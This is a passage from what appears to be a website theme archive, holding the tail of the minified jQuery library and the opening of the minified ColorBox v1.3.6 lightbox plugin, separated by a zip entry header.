\/]([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||e.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t[2]||"0"}},e=v.uaMatch(o.userAgent),t={},e.browser&&(t[e.browser]=!0,t.version=e.version),t.chrome?t.webkit=!0:t.webkit&&(t.safari=!0),v.browser=t,v.sub=function(){function e(t,n){return new e.fn.init(t,n)}v.extend(!0,e,this),e.superclass=this,e.fn=e.prototype=this(),e.fn.constructor=e,e.sub=this.sub,e.fn.init=function(r,i){return i&&i instanceof v&&!(i instanceof e)&&(i=e(i)),v.fn.init.call(this,r,i,t)},e.fn.init.prototype=e.fn;var t=e(i);return e}}();var Dt,Pt,Ht,Bt=/alpha\([^)]*\)/i,jt=/opacity=([^)]*)/,Ft=/^(top|right|bottom|left)$/,It=/^(none|table(?!-c[ea]).+)/,qt=/^margin/,Rt=new RegExp("^("+m+")(.*)$","i"),Ut=new RegExp("^("+m+")(?!px)[a-z%]+$","i"),zt=new RegExp("^([-+])=("+m+")","i"),Wt={BODY:"block"},Xt={position:"absolute",visibility:"hidden",display:"block"},Vt={letterSpacing:0,fontWeight:400},$t=["Top","Right","Bottom","Left"],Jt=["Webkit","O","Moz","ms"],Kt=v.fn.toggle;v.fn.extend({css:function(e,n){return v.access(this,function(e,n,r){return r!==t?v.style(e,n,r):v.css(e,n)},e,n,arguments.length>1)},show:function(){return Yt(this,!0)},hide:function(){return Yt(this)},toggle:function(e,t){var n=typeof e=="boolean";return v.isFunction(e)&&v.isFunction(t)?Kt.apply(this,arguments):this.each(function(){(n?e:Gt(this))?v(this).show():v(this).hide()})}}),v.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Dt(e,"opacity");return n===""?"1":n}}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":v.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(!e||e.nodeType===3||e.nodeType===8||!e.style)return;var s,o,u,a=v.camelCase(n),f=e.style;n=v.cssProps[a]||(v.cssProps[a]=Qt(f,a)),u=v.cssHooks[n]||v.cssHooks[a];if(r===t)return u&&"get"in u&&(s=u.get(e,!1,i))!==t?s:f[n];o=typeof r,o==="string"&&(s=zt.exec(r))&&(r=(s[1]+1)*s[2]+parseFloat(v.css(e,n)),o="number");if(r==null||o==="number"&&isNaN(r))return;o==="number"&&!v.cssNumber[a]&&(r+="px");if(!u||!("set"in u)||(r=u.set(e,r,i))!==t)try{f[n]=r}catch(l){}},css:function(e,n,r,i){var s,o,u,a=v.camelCase(n);return n=v.cssProps[a]||(v.cssProps[a]=Qt(e.style,a)),u=v.cssHooks[n]||v.cssHooks[a],u&&"get"in u&&(s=u.get(e,!0,i)),s===t&&(s=Dt(e,n)),s==="normal"&&n in Vt&&(s=Vt[n]),r||i!==t?(o=parseFloat(s),r||v.isNumeric(o)?o||0:s):s},swap:function(e,t,n){var r,i,s={};for(i in t)s[i]=e.style[i],e.style[i]=t[i];r=n.call(e);for(i in t)e.style[i]=s[i];return r}}),e.getComputedStyle?Dt=function(t,n){var r,i,s,o,u=e.getComputedStyle(t,null),a=t.style;return u&&(r=u.getPropertyValue(n)||u[n],r===""&&!v.contains(t.ownerDocument,t)&&(r=v.style(t,n)),Ut.test(r)&&qt.test(n)&&(i=a.width,s=a.minWidth,o=a.maxWidth,a.minWidth=a.maxWidth=a.width=r,r=u.width,a.width=i,a.minWidth=s,a.maxWidth=o)),r}:i.documentElement.currentStyle&&(Dt=function(e,t){var n,r,i=e.currentStyle&&e.currentStyle[t],s=e.style;return i==null&&s&&s[t]&&(i=s[t]),Ut.test(i)&&!Ft.test(t)&&(n=s.left,r=e.runtimeStyle&&e.runtimeStyle.left,r&&(e.runtimeStyle.left=e.currentStyle.left),s.left=t==="fontSize"?"1em":i,i=s.pixelLeft+"px",s.left=n,r&&(e.runtimeStyle.left=r)),i===""?"auto":i}),v.each(["height","width"],function(e,t){v.cssHooks[t]={get:function(e,n,r){if(n)return e.offsetWidth===0&&It.test(Dt(e,"display"))?v.swap(e,Xt,function(){return tn(e,t,r)}):tn(e,t,r)},set:function(e,n,r){return Zt(e,n,r?en(e,t,r,v.support.boxSizing&&v.css(e,"boxSizing")==="border-box"):0)}}}),v.support.opacity||(v.cssHooks.opacity={get:function(e,t){return jt.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=v.isNumeric(t)?"alpha(opacity="+t*100+")":"",s=r&&r.filter||n.filter||"";n.zoom=1;if(t>=1&&v.trim(s.replace(Bt,""))===""&&n.removeAttribute){n.removeAttribute("filter");if(r&&!r.filter)return}n.filter=Bt.test(s)?s.replace(Bt,i):s+" "+i}}),v(function(){v.support.reliableMarginRight||(v.cssHooks.marginRight={get:function(e,t){return v.swap(e,{display:"inline-block"},function(){if(t)return Dt(e,"marginRight")})}}),!v.support.pixelPosition&&v.fn.position&&v.each(["top","left"],function(e,t){v.cssHooks[t]={get:function(e,n){if(n){var r=Dt(e,t);return Ut.test(r)?v(e).position()[t]+"px":r}}}})}),v.expr&&v.expr.filters&&(v.expr.filters.hidden=function(e){return e.offsetWidth===0&&e.offsetHeight===0||!v.support.reliableHiddenOffsets&&(e.style&&e.style.display||Dt(e,"display"))==="none"},v.expr.filters.visible=function(e){return!v.expr.filters.hidden(e)}),v.each({margin:"",padding:"",border:"Width"},function(e,t){v.cssHooks[e+t]={expand:function(n){var r,i=typeof n=="string"?n.split(" "):[n],s={};for(r=0;r<4;r++)s[e+$t[r]+t]=i[r]||i[r-2]||i[0];return s}},qt.test(e)||(v.cssHooks[e+t].set=Zt)});var rn=/%20/g,sn=/\[\]$/,on=/\r?\n/g,un=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,an=/^(?:select|textarea)/i;v.fn.extend({serialize:function(){return v.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?v.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||an.test(this.nodeName)||un.test(this.type))}).map(function(e,t){var n=v(this).val();return n==null?null:v.isArray(n)?v.map(n,function(e,n){return{name:t.name,value:e.replace(on,"\r\n")}}):{name:t.name,value:n.replace(on,"\r\n")}}).get()}}),v.param=function(e,n){var r,i=[],s=function(e,t){t=v.isFunction(t)?t():t==null?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};n===t&&(n=v.ajaxSettings&&v.ajaxSettings.traditional);if(v.isArray(e)||e.jquery&&!v.isPlainObject(e))v.each(e,function(){s(this.name,this.value)});else for(r in e)fn(r,e[r],n,s);return i.join("&").replace(rn,"+")};var ln,cn,hn=/#.*$/,pn=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,dn=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,vn=/^(?:GET|HEAD)$/,mn=/^\/\//,gn=/\?/,yn=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,bn=/([?&])_=[^&]*/,wn=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,En=v.fn.load,Sn={},xn={},Tn=["*/"]+["*"];try{cn=s.href}catch(Nn){cn=i.createElement("a"),cn.href="",cn=cn.href}ln=wn.exec(cn.toLowerCase())||[],v.fn.load=function(e,n,r){if(typeof e!="string"&&En)return En.apply(this,arguments);if(!this.length)return this;var i,s,o,u=this,a=e.indexOf(" ");return a>=0&&(i=e.slice(a,e.length),e=e.slice(0,a)),v.isFunction(n)?(r=n,n=t):n&&typeof n=="object"&&(s="POST"),v.ajax({url:e,type:s,dataType:"html",data:n,complete:function(e,t){r&&u.each(r,o||[e.responseText,t,e])}}).done(function(e){o=arguments,u.html(i?v("<div>").append(e.replace(yn,"")).find(i):e)}),this},v.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(e,t){v.fn[t]=function(e){return this.on(t,e)}}),v.each(["get","post"],function(e,n){v[n]=function(e,r,i,s){return v.isFunction(r)&&(s=s||i,i=r,r=t),v.ajax({type:n,url:e,data:r,success:i,dataType:s})}}),v.extend({getScript:function(e,n){return v.get(e,t,n,"script")},getJSON:function(e,t,n){return v.get(e,t,n,"json")},ajaxSetup:function(e,t){return t?Ln(e,v.ajaxSettings):(t=e,e=v.ajaxSettings),Ln(e,t),e},ajaxSettings:{url:cn,isLocal:dn.test(ln[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":Tn},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":e.String,"text html":!0,"text json":v.parseJSON,"text xml":v.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:Cn(Sn),ajaxTransport:Cn(xn),ajax:function(e,n){function T(e,n,s,a){var l,y,b,w,S,T=n;if(E===2)return;E=2,u&&clearTimeout(u),o=t,i=a||"",x.readyState=e>0?4:0,s&&(w=An(c,x,s));if(e>=200&&e<300||e===304)c.ifModified&&(S=x.getResponseHeader("Last-Modified"),S&&(v.lastModified[r]=S),S=x.getResponseHeader("Etag"),S&&(v.etag[r]=S)),e===304?(T="notmodified",l=!0):(l=On(c,w),T=l.state,y=l.data,b=l.error,l=!b);else{b=T;if(!T||e)T="error",e<0&&(e=0)}x.status=e,x.statusText=(n||T)+"",l?d.resolveWith(h,[y,T,x]):d.rejectWith(h,[x,T,b]),x.statusCode(g),g=t,f&&p.trigger("ajax"+(l?"Success":"Error"),[x,c,l?y:b]),m.fireWith(h,[x,T]),f&&(p.trigger("ajaxComplete",[x,c]),--v.active||v.event.trigger("ajaxStop"))}typeof e=="object"&&(n=e,e=t),n=n||{};var r,i,s,o,u,a,f,l,c=v.ajaxSetup({},n),h=c.context||c,p=h!==c&&(h.nodeType||h instanceof v)?v(h):v.event,d=v.Deferred(),m=v.Callbacks("once memory"),g=c.statusCode||{},b={},w={},E=0,S="canceled",x={readyState:0,setRequestHeader:function(e,t){if(!E){var n=e.toLowerCase();e=w[n]=w[n]||e,b[e]=t}return this},getAllResponseHeaders:function(){return E===2?i:null},getResponseHeader:function(e){var n;if(E===2){if(!s){s={};while(n=pn.exec(i))s[n[1].toLowerCase()]=n[2]}n=s[e.toLowerCase()]}return n===t?null:n},overrideMimeType:function(e){return E||(c.mimeType=e),this},abort:function(e){return e=e||S,o&&o.abort(e),T(0,e),this}};d.promise(x),x.success=x.done,x.error=x.fail,x.complete=m.add,x.statusCode=function(e){if(e){var t;if(E<2)for(t in e)g[t]=[g[t],e[t]];else t=e[x.status],x.always(t)}return this},c.url=((e||c.url)+"").replace(hn,"").replace(mn,ln[1]+"//"),c.dataTypes=v.trim(c.dataType||"*").toLowerCase().split(y),c.crossDomain==null&&(a=wn.exec(c.url.toLowerCase()),c.crossDomain=!(!a||a[1]===ln[1]&&a[2]===ln[2]&&(a[3]||(a[1]==="http:"?80:443))==(ln[3]||(ln[1]==="http:"?80:443)))),c.data&&c.processData&&typeof c.data!="string"&&(c.data=v.param(c.data,c.traditional)),kn(Sn,c,n,x);if(E===2)return x;f=c.global,c.type=c.type.toUpperCase(),c.hasContent=!vn.test(c.type),f&&v.active++===0&&v.event.trigger("ajaxStart");if(!c.hasContent){c.data&&(c.url+=(gn.test(c.url)?"&":"?")+c.data,delete c.data),r=c.url;if(c.cache===!1){var N=v.now(),C=c.url.replace(bn,"$1_="+N);c.url=C+(C===c.url?(gn.test(c.url)?"&":"?")+"_="+N:"")}}(c.data&&c.hasContent&&c.contentType!==!1||n.contentType)&&x.setRequestHeader("Content-Type",c.contentType),c.ifModified&&(r=r||c.url,v.lastModified[r]&&x.setRequestHeader("If-Modified-Since",v.lastModified[r]),v.etag[r]&&x.setRequestHeader("If-None-Match",v.etag[r])),x.setRequestHeader("Accept",c.dataTypes[0]&&c.accepts[c.dataTypes[0]]?c.accepts[c.dataTypes[0]]+(c.dataTypes[0]!=="*"?", "+Tn+"; q=0.01":""):c.accepts["*"]);for(l in c.headers)x.setRequestHeader(l,c.headers[l]);if(!c.beforeSend||c.beforeSend.call(h,x,c)!==!1&&E!==2){S="abort";for(l in{success:1,error:1,complete:1})x[l](c[l]);o=kn(xn,c,n,x);if(!o)T(-1,"No Transport");else{x.readyState=1,f&&p.trigger("ajaxSend",[x,c]),c.async&&c.timeout>0&&(u=setTimeout(function(){x.abort("timeout")},c.timeout));try{E=1,o.send(b,T)}catch(k){if(!(E<2))throw k;T(-1,k)}}return x}return x.abort()},active:0,lastModified:{},etag:{}});var Mn=[],_n=/\?/,Dn=/(=)\?(?=&|$)|\?\?/,Pn=v.now();v.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Mn.pop()||v.expando+"_"+Pn++;return this[e]=!0,e}}),v.ajaxPrefilter("json jsonp",function(n,r,i){var s,o,u,a=n.data,f=n.url,l=n.jsonp!==!1,c=l&&Dn.test(f),h=l&&!c&&typeof a=="string"&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")&&Dn.test(a);if(n.dataTypes[0]==="jsonp"||c||h)return s=n.jsonpCallback=v.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,o=e[s],c?n.url=f.replace(Dn,"$1"+s):h?n.data=a.replace(Dn,"$1"+s):l&&(n.url+=(_n.test(f)?"&":"?")+n.jsonp+"="+s),n.converters["script json"]=function(){return u||v.error(s+" was not called"),u[0]},n.dataTypes[0]="json",e[s]=function(){u=arguments},i.always(function(){e[s]=o,n[s]&&(n.jsonpCallback=r.jsonpCallback,Mn.push(s)),u&&v.isFunction(o)&&o(u[0]),u=o=t}),"script"}),v.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(e){return v.globalEval(e),e}}}),v.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),v.ajaxTransport("script",function(e){if(e.crossDomain){var n,r=i.head||i.getElementsByTagName("head")[0]||i.documentElement;return{send:function(s,o){n=i.createElement("script"),n.async="async",e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,i){if(i||!n.readyState||/loaded|complete/.test(n.readyState))n.onload=n.onreadystatechange=null,r&&n.parentNode&&r.removeChild(n),n=t,i||o(200,"success")},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(0,1)}}}});var Hn,Bn=e.ActiveXObject?function(){for(var e in Hn)Hn[e](0,1)}:!1,jn=0;v.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal&&Fn()||In()}:Fn,function(e){v.extend(v.support,{ajax:!!e,cors:!!e&&"withCredentials"in e})}(v.ajaxSettings.xhr()),v.support.ajax&&v.ajaxTransport(function(n){if(!n.crossDomain||v.support.cors){var r;return{send:function(i,s){var o,u,a=n.xhr();n.username?a.open(n.type,n.url,n.async,n.username,n.password):a.open(n.type,n.url,n.async);if(n.xhrFields)for(u in n.xhrFields)a[u]=n.xhrFields[u];n.mimeType&&a.overrideMimeType&&a.overrideMimeType(n.mimeType),!n.crossDomain&&!i["X-Requested-With"]&&(i["X-Requested-With"]="XMLHttpRequest");try{for(u in i)a.setRequestHeader(u,i[u])}catch(f){}a.send(n.hasContent&&n.data||null),r=function(e,i){var u,f,l,c,h;try{if(r&&(i||a.readyState===4)){r=t,o&&(a.onreadystatechange=v.noop,Bn&&delete Hn[o]);if(i)a.readyState!==4&&a.abort();else{u=a.status,l=a.getAllResponseHeaders(),c={},h=a.responseXML,h&&h.documentElement&&(c.xml=h);try{c.text=a.responseText}catch(p){}try{f=a.statusText}catch(p){f=""}!u&&n.isLocal&&!n.crossDomain?u=c.text?200:404:u===1223&&(u=204)}}}catch(d){i||s(-1,d)}c&&s(u,f,c,l)},n.async?a.readyState===4?setTimeout(r,0):(o=++jn,Bn&&(Hn||(Hn={},v(e).unload(Bn)),Hn[o]=r),a.onreadystatechange=r):r()},abort:function(){r&&r(0,1)}}}});var qn,Rn,Un=/^(?:toggle|show|hide)$/,zn=new RegExp("^(?:([-+])=|)("+m+")([a-z%]*)$","i"),Wn=/queueHooks$/,Xn=[Gn],Vn={"*":[function(e,t){var n,r,i=this.createTween(e,t),s=zn.exec(t),o=i.cur(),u=+o||0,a=1,f=20;if(s){n=+s[2],r=s[3]||(v.cssNumber[e]?"":"px");if(r!=="px"&&u){u=v.css(i.elem,e,!0)||n||1;do a=a||".5",u/=a,v.style(i.elem,e,u+r);while(a!==(a=i.cur()/o)&&a!==1&&--f)}i.unit=r,i.start=u,i.end=s[1]?u+(s[1]+1)*n:n}return i}]};v.Animation=v.extend(Kn,{tweener:function(e,t){v.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");var n,r=0,i=e.length;for(;r<i;r++)n=e[r],Vn[n]=Vn[n]||[],Vn[n].unshift(t)},prefilter:function(e,t){t?Xn.unshift(e):Xn.push(e)}}),v.Tween=Yn,Yn.prototype={constructor:Yn,init:function(e,t,n,r,i,s){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=s||(v.cssNumber[n]?"":"px")},cur:function(){var e=Yn.propHooks[this.prop];return e&&e.get?e.get(this):Yn.propHooks._default.get(this)},run:function(e){var t,n=Yn.propHooks[this.prop];return this.options.duration?this.pos=t=v.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):Yn.propHooks._default.set(this),this}},Yn.prototype.init.prototype=Yn.prototype,Yn.propHooks={_default:{get:function(e){var t;return e.elem[e.prop]==null||!!e.elem.style&&e.elem.style[e.prop]!=null?(t=v.css(e.elem,e.prop,!1,""),!t||t==="auto"?0:t):e.elem[e.prop]},set:function(e){v.fx.step[e.prop]?v.fx.step[e.prop](e):e.elem.style&&(e.elem.style[v.cssProps[e.prop]]!=null||v.cssHooks[e.prop])?v.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},Yn.propHooks.scrollTop=Yn.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},v.each(["toggle","show","hide"],function(e,t){var n=v.fn[t];v.fn[t]=function(r,i,s){return r==null||typeof r=="boolean"||!e&&v.isFunction(r)&&v.isFunction(i)?n.apply(this,arguments):this.animate(Zn(t,!0),r,i,s)}}),v.fn.extend({fadeTo:function(e,t,n,r){return this.filter(Gt).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=v.isEmptyObject(e),s=v.speed(t,n,r),o=function(){var t=Kn(this,v.extend({},e),s);i&&t.stop(!0)};return i||s.queue===!1?this.each(o):this.queue(s.queue,o)},stop:function(e,n,r){var i=function(e){var t=e.stop;delete e.stop,t(r)};return typeof e!="string"&&(r=n,n=e,e=t),n&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,n=e!=null&&e+"queueHooks",s=v.timers,o=v._data(this);if(n)o[n]&&o[n].stop&&i(o[n]);else for(n in o)o[n]&&o[n].stop&&Wn.test(n)&&i(o[n]);for(n=s.length;n--;)s[n].elem===this&&(e==null||s[n].queue===e)&&(s[n].anim.stop(r),t=!1,s.splice(n,1));(t||!r)&&v.dequeue(this,e)})}}),v.each({slideDown:Zn("show"),slideUp:Zn("hide"),slideToggle:Zn("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){v.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),v.speed=function(e,t,n){var r=e&&typeof e=="object"?v.extend({},e):{complete:n||!n&&t||v.isFunction(e)&&e,duration:e,easing:n&&t||t&&!v.isFunction(t)&&t};r.duration=v.fx.off?0:typeof r.duration=="number"?r.duration:r.duration in v.fx.speeds?v.fx.speeds[r.duration]:v.fx.speeds._default;if(r.queue==null||r.queue===!0)r.queue="fx";return r.old=r.complete,r.complete=function(){v.isFunction(r.old)&&r.old.call(this),r.queue&&v.dequeue(this,r.queue)},r},v.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},v.timers=[],v.fx=Yn.prototype.init,v.fx.tick=function(){var e,n=v.timers,r=0;qn=v.now();for(;r<n.length;r++)e=n[r],!e()&&n[r]===e&&n.splice(r--,1);n.length||v.fx.stop(),qn=t},v.fx.timer=function(e){e()&&v.timers.push(e)&&!Rn&&(Rn=setInterval(v.fx.tick,v.fx.interval))},v.fx.interval=13,v.fx.stop=function(){clearInterval(Rn),Rn=null},v.fx.speeds={slow:600,fast:200,_default:400},v.fx.step={},v.expr&&v.expr.filters&&(v.expr.filters.animated=function(e){return v.grep(v.timers,function(t){return e===t.elem}).length});var er=/^(?:body|html)$/i;v.fn.offset=function(e){if(arguments.length)return e===t?this:this.each(function(t){v.offset.setOffset(this,e,t)});var n,r,i,s,o,u,a,f={top:0,left:0},l=this[0],c=l&&l.ownerDocument;if(!c)return;return(r=c.body)===l?v.offset.bodyOffset(l):(n=c.documentElement,v.contains(n,l)?(typeof l.getBoundingClientRect!="undefined"&&(f=l.getBoundingClientRect()),i=tr(c),s=n.clientTop||r.clientTop||0,o=n.clientLeft||r.clientLeft||0,u=i.pageYOffset||n.scrollTop,a=i.pageXOffset||n.scrollLeft,{top:f.top+u-s,left:f.left+a-o}):f)},v.offset={bodyOffset:function(e){var t=e.offsetTop,n=e.offsetLeft;return v.support.doesNotIncludeMarginInBodyOffset&&(t+=parseFloat(v.css(e,"marginTop"))||0,n+=parseFloat(v.css(e,"marginLeft"))||0),{top:t,left:n}},setOffset:function(e,t,n){var r=v.css(e,"position");r==="static"&&(e.style.position="relative");var i=v(e),s=i.offset(),o=v.css(e,"top"),u=v.css(e,"left"),a=(r==="absolute"||r==="fixed")&&v.inArray("auto",[o,u])>-1,f={},l={},c,h;a?(l=i.position(),c=l.top,h=l.left):(c=parseFloat(o)||0,h=parseFloat(u)||0),v.isFunction(t)&&(t=t.call(e,n,s)),t.top!=null&&(f.top=t.top-s.top+c),t.left!=null&&(f.left=t.left-s.left+h),"using"in t?t.using.call(e,f):i.css(f)}},v.fn.extend({position:function(){if(!this[0])return;var e=this[0],t=this.offsetParent(),n=this.offset(),r=er.test(t[0].nodeName)?{top:0,left:0}:t.offset();return n.top-=parseFloat(v.css(e,"marginTop"))||0,n.left-=parseFloat(v.css(e,"marginLeft"))||0,r.top+=parseFloat(v.css(t[0],"borderTopWidth"))||0,r.left+=parseFloat(v.css(t[0],"borderLeftWidth"))||0,{top:n.top-r.top,left:n.left-r.left}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||i.body;while(e&&!er.test(e.nodeName)&&v.css(e,"position")==="static")e=e.offsetParent;return e||i.body})}}),v.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var r=/Y/.test(n);v.fn[e]=function(i){return v.access(this,function(e,i,s){var o=tr(e);if(s===t)return o?n in o?o[n]:o.document.documentElement[i]:e[i];o?o.scrollTo(r?v(o).scrollLeft():s,r?s:v(o).scrollTop()):e[i]=s},e,i,arguments.length,null)}}),v.each({Height:"height",Width:"width"},function(e,n){v.each({padding:"inner"+e,content:n,"":"outer"+e},function(r,i){v.fn[i]=function(i,s){var o=arguments.length&&(r||typeof i!="boolean"),u=r||(i===!0||s===!0?"margin":"border");return v.access(this,function(n,r,i){var s;return v.isWindow(n)?n.document.documentElement["client"+e]:n.nodeType===9?(s=n.documentElement,Math.max(n.body["scroll"+e],s["scroll"+e],n.body["offset"+e],s["offset"+e],s["client"+e])):i===t?v.css(n,r,i,u):v.style(n,r,i,u)},n,o?i:t,o,null)}})}),e.jQuery=e.$=v,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return v})})(window);
PK!|SU:":"*bluetheme/assets/js/jquery.colorbox-min.jsnu&1i�/*	ColorBox v1.3.6 - a full featured, light-weight, customizable lightbox based on jQuery 1.3 */
(function(c){function r(b,d){d=d==="x"?m.width():m.height();return typeof b==="string"?Math.round(b.match(/%/)?d/100*parseInt(b,10):parseInt(b,10)):b}function M(b){b=c.isFunction(b)?b.call(i):b;return a.photo||b.match(/\.(gif|png|jpg|jpeg|bmp)(?:\?([^#]*))?(?:#(\.*))?$/i)}function Y(){for(var b in a)if(c.isFunction(a[b])&&b.substring(0,2)!=="on")a[b]=a[b].call(i);a.rel=a.rel||i.rel;a.href=a.href||i.href;a.title=a.title||i.title}function Z(b){i=b;a=c(i).data(q);Y();if(a.rel&&a.rel!=="nofollow"){g= c(".cboxElement").filter(function(){return(c(this).data(q).rel||this.rel)===a.rel});j=g.index(i);if(j<0){g=g.add(i);j=g.length-1}}else{g=c(i);j=0}if(!B){C=B=n;N=i;N.blur();c(document).bind("keydown.cbox_close",function(d){if(d.keyCode===27){d.preventDefault();e.close()}}).bind("keydown.cbox_arrows",function(d){if(g.length>1)if(d.keyCode===37){d.preventDefault();D.click()}else if(d.keyCode===39){d.preventDefault();E.click()}});a.overlayClose&&s.css({cursor:"pointer"}).one("click",e.close);c.event.trigger(aa); a.onOpen&&a.onOpen.call(i);s.css({opacity:a.opacity}).show();a.w=r(a.initialWidth,"x");a.h=r(a.initialHeight,"y");e.position(0);O&&m.bind("resize.cboxie6 scroll.cboxie6",function(){s.css({width:m.width(),height:m.height(),top:m.scrollTop(),left:m.scrollLeft()})}).trigger("scroll.cboxie6")}P.add(D).add(E).add(t).add(Q).hide();R.html(a.close).show();e.slideshow();e.load()}var q="colorbox",F="hover",n=true,e,x=!c.support.opacity,O=x&&!window.XMLHttpRequest,aa="cbox_open",H="cbox_load",S="cbox_complete", T="resize.cbox_resize",s,k,u,p,U,V,W,X,g,m,l,I,J,K,Q,P,t,E,D,R,y,z,v,w,i,N,j,a,B,C,$={transition:"elastic",speed:350,width:false,height:false,innerWidth:false,innerHeight:false,initialWidth:"400",initialHeight:"400",maxWidth:false,maxHeight:false,scalePhotos:n,scrolling:n,inline:false,html:false,iframe:false,photo:false,href:false,title:false,rel:false,opacity:0.9,preloading:n,current:"image {current} of {total}",previous:"previous",next:"next",close:"close",open:false,overlayClose:n,slideshow:false, slideshowAuto:n,slideshowSpeed:2500,slideshowStart:"start slideshow",slideshowStop:"stop slideshow",onOpen:false,onLoad:false,onComplete:false,onCleanup:false,onClosed:false};e=c.fn.colorbox=function(b,d){var h=this;if(!h.length)if(h.selector===""){h=c("<a/>");b.open=n}else return this;h.each(function(){var f=c.extend({},c(this).data(q)?c(this).data(q):$,b);c(this).data(q,f).addClass("cboxElement");if(d)c(this).data(q).onComplete=d});b&&b.open&&Z(h);return this};e.init=function(){function b(d){return c('<div id="cbox'+ d+'"/>')}m=c(window);k=c('<div id="colorbox"/>');s=b("Overlay").hide();u=b("Wrapper");p=b("Content").append(l=b("LoadedContent").css({width:0,height:0}),J=b("LoadingOverlay"),K=b("LoadingGraphic"),Q=b("Title"),P=b("Current"),t=b("Slideshow"),E=b("Next"),D=b("Previous"),R=b("Close"));u.append(c("<div/>").append(b("TopLeft"),U=b("TopCenter"),b("TopRight")),c("<div/>").append(V=b("MiddleLeft"),p,W=b("MiddleRight")),c("<div/>").append(b("BottomLeft"),X=b("BottomCenter"),b("BottomRight"))).children().children().css({"float":"left"}); I=c("<div style='position:absolute; top:0; left:0; width:9999px; height:0;'/>");c("body").prepend(s,k.append(u,I));if(x){k.addClass("cboxIE");O&&s.css("position","absolute")}p.children().bind("mouseover mouseout",function(){c(this).toggleClass(F)}).addClass(F);y=U.height()+X.height()+p.outerHeight(n)-p.height();z=V.width()+W.width()+p.outerWidth(n)-p.width();v=l.outerHeight(n);w=l.outerWidth(n);k.css({"padding-bottom":y,"padding-right":z}).hide();E.click(e.next);D.click(e.prev);R.click(e.close);p.children().removeClass(F); c(".cboxElement").live("click",function(d){if(d.button!==0&&typeof d.button!=="undefined")return n;else{Z(this);return false}})};e.position=function(b,d){function h(A){U[0].style.width=X[0].style.width=p[0].style.width=A.style.width;K[0].style.height=J[0].style.height=p[0].style.height=V[0].style.height=W[0].style.height=A.style.height}var f=m.height();f=Math.max(f-a.h-v-y,0)/2+m.scrollTop();var o=Math.max(document.documentElement.clientWidth-a.w-w-z,0)/2+m.scrollLeft();b=k.width()===a.w+w&&k.height()=== a.h+v?0:b;u[0].style.width=u[0].style.height="9999px";k.dequeue().animate({width:a.w+w,height:a.h+v,top:f,left:o},{duration:b,complete:function(){h(this);C=false;u[0].style.width=a.w+w+z+"px";u[0].style.height=a.h+v+y+"px";d&&d()},step:function(){h(this)}})};e.resize=function(b){function d(){a.w=a.w||l.width();a.w=a.mw&&a.mw<a.w?a.mw:a.w;return a.w}function h(){a.h=a.h||l.height();a.h=a.mh&&a.mh<a.h?a.mh:a.h;return a.h}function f(G){e.position(G,function(){if(B){if(x){A&&l.fadeIn(100);k[0].style.removeAttribute("filter")}if(a.iframe)l.append("<iframe id='cboxIframe'"+ (a.scrolling?" ":"scrolling='no'")+" name='iframe_"+(new Date).getTime()+"' frameborder=0 src='"+a.href+"' "+(x?"allowtransparency='true'":"")+" 